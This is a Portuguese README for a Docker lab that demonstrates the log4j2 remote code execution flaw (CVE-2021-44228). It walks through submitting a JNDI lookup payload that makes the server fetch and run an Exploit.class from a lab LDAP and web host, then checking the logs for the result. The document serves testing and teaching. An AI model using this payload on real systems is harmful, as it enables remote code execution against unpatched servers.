
log4j2 CVE-2021-44228 POC
Projeto para testar na prática a vulnerabilidade de execução remota de código do log4j2 (CVE-2021-44228).
docker-compose up
O contêiner log4j leva algum tempo para ficar pronto após a inicialização. Verifique o progresso com o seguinte comando:
docker logs -f log4j
Quando aparecer Server started: Listening on port 8081, o ambiente está pronto.
Verifique o diretório /root do contêiner log4j:
docker exec log4j ls /root
No estado inicial, existe apenas o diretório .
workAcesse http://localhost:8081/. É uma aplicação simples que exibe na tela e no log o nome inserido no formulário.
No formulário, insira ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} e envie.
Verifique o diretório /root do contêiner log4j:
docker exec log4j ls /root
O código preparado pelo atacante é executado e deve ter criado um arquivo que não existia antes. Como os nomes dos arquivos são baseados em timestamp, novos arquivos serão criados a cada ataque realizado.
Verificando os logs do contêiner ldap, é possível confirmar que uma requisição SEARCH veio do contêiner log4j:
docker logs ldap
Verificando os logs do tomcat no contêiner web, é possível confirmar que houve um acesso ao Exploit.class (classe usada no ataque) vindo do contêiner log4j:
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*